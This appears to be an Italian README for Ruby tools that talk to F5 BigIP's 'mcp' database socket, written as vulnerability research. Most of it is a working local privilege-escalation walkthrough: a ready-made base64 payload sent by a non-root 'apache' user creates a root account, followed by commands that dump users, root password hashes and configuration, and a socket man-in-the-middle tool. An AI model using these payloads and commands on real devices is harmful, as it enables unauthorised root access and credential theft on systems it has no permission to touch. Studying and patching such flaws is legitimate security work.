
Un'implementazione del protocollo `mcp` di F5, che include strumenti MitM per intercettare il traffico durante la caccia alle vulnerabilità.
Questo non è ancora del tutto finito o pronto, ma volevo mettere il codice nel repository.
Implementa sostanzialmente il protocollo di database di F5, "mcp", che opera tramite
un socket UNIX domain. Ciò significa che serve una shell sul dispositivo F5 prima
di poter usare uno qualsiasi di questi script. In genere si inoltra l'output di uno script
a /var/run/mcp usando socat, poi si passa la risposta a mcp-parser.rb.
Maggiori dettagli più sotto.
Un breve riepilogo degli script:
mcp-getloot.rb - Genera un messaggio che scarica utenti e variabilimcp-privesc.rb - Genera un messaggio che crea un account utentemcp-parser.rb - Analizza i messaggi mcp che arrivano su stdinmcp-mitm.rb - Intercetta i messaggi mcp su un host target (richiede ssh senza password verso root configurato)mcp-builder.rb - Una libreria per costruire messaggi mcp (non serve usarla direttamente)mcp-generateobjects.rb - Uno strumento per generare mcp-objects.txt (non dovrebbe servirti)MCP è un database proprietario (AFAICT) usato da F5 BigIP. Vi si accede tramite
/var/run/mcp, un socket UNIX domain con permessi 0777 (cioè, qualsiasi utente può
accedervi).
Il protocollo è in stile TLV, con un gran numero di tipi (oltre 41.000). Sono tutti elencati in mcp-objects.txt.
Ho implementato un parser che trovi in mcp-parser.rb, e puoi trovare un bel po' di messaggi diversi in mcp-parser-tests.rb.
Ho anche creato un builder, mcp-builder.rb, anche se non è
progettato per essere facile da usare. Abbiamo però una funzione predefinita che
crea un pacchetto MCP in grado di creare un account utente a livello root, il che è
piuttosto carino. Puoi usare mcp-privesc.rb per creare quel pacchetto.
Per comunicare direttamente con MCP, in genere si usa socat. Il codice in
mcp-builder.rb può creare pacchetti, ma non è pensato per essere eseguito direttamente.
Gli script che probabilmente vorrai usare direttamente sono:
mcp-getloot.rb - per ottenere utenti e impostazioni di configurazionemcp-privesc.rb - per aggiungere un nuovo account a livello rootmcp-parser.rb - per analizzare la risposta (su stdin)Per usare uno degli script di interrogazione, eseguilo e trova un modo per inviare l'output
nel socket UNIX sul target. Ecco un esempio in cui comprimiamo con gzip e
codifichiamo in base64 l'output di mcp-privesc.rb:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
Poi possiamo copiarlo e incollarlo in una sessione ssh sul target, dove viene inviato al socket UNIX (nota che lo stiamo facendo come utente non-root per dimostrare che è possibile):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
Possiamo anche analizzare la risposta ottenuta usando mcp-parser.rb:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
Ovviamente puoi fare tutto in un unico comando; ecco come puoi usare
mcp-getloot.rb:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
Ho anche scritto uno strumento per ispezionare/registrare le query del database in tempo reale:
mcp-mitm.rb. Non è un exploit, è solo uno strumento di analisi
che richiede un login di root. In pratica, sposta /var/run/mcp e lo sostituisce
con un socket che controlliamo noi, poi analizza tutti i messaggi che lo attraversano.
Per eseguirlo:
ssh root@<target> senza password o altri input (o modifica il codice e disattiva DO_SETUP)Praticamente qualsiasi potenziale "danno" si risolve con un riavvio, dato che il socket viene creato all'avvio, ma probabilmente non vuoi farlo in produzione.
Comunque, eseguilo senza argomenti per vedere l'uso, poi inserisci gli indirizzi IP importanti:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
Se aspetti un po' (o fai cose sul server), vedrai delle sessioni:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Ctrl-c lo fermerà e sistemerà il socket:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
E questo è tutto!